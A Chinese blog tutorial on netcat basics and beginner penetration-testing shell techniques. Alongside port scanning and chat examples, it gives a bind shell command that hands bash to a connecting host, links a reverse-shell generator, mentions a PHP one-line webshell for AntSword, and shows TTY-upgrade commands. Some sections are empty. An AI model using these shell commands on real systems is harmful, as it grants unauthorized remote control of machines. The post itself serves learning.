nc瑞士军刀与shell基础

nc是什么

nc 是一个Linux环境下常用的工具命令,可以用来帮助开发者查询和解决网路问题,通常被认为是 NetCat 工具的缩写,在网络工具中有“瑞士军刀”的美誉。

nc 在Linux环境下常常是自带的,如果你使用的Linux发行版本没有这个工具也可以自行安装,比如在CentOS上的安装命令就是 yum install nc -y,并且这个工具在Windows上也可以直接下载使用,下载页面地址为 netcat,简约而不简单。

原文链接:https://blog.csdn.net/albertsh/article/details/121896012

基本用法

┌──(root💀kali)-[~]
└─# nc -h                       
[v1.10-47]
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
        -e filename             program to exec after connect [dangerous!!]
        -b                      allow broadcasts
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -q secs                 quit after EOF on stdin and delay of secs
        -s addr                 local source address
        -T tos                  set Type Of Service
        -t                      answer TELNET negotiation
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -C                      Send CRLF as line-ending
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

1)端口扫描

nc -v -z host.example.com 70-80            
#扫描端口(70到80),可指定范围。-v输出详细信息。

2) 远程拷贝文件

3) 简单聊天工具

在192.168.2.34上: nc -l 1234
在192.168.2.33上: nc 192.168.2.34 1234
使用ctrl+C(或D)退出。
 
 
在端口1234建立连接,互相发送输入

4) 保存Web页面

# while true; do nc -l -p 80 -q 1 < somepage.html; done

5) 控制(正向与反向)

【控制端】 :nc -nv ip 端口

【被控制端】:nc -lvp 端口 -c bash
#-c bash 连接后把bash给对方

6) 用nc反弹shell

反弹shell在线生成器:反弹shell命令在线生成器|🔰雨苁🔰 (ddosi.org)

简单的shell

door.php一句话木马

连蚁剑即可

优化shell(shell会限制键盘一些按键)

python:pthon -c "import pty;pty.spawn('/bin/bash')"

其他:/usr/bin/script -qc /bin/bash /dev/null

停止到后台: cturl z 

 

 转变为稳定shell: stty raw -echo;fg

kali中的php-reverse-shell

目录位置如下

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值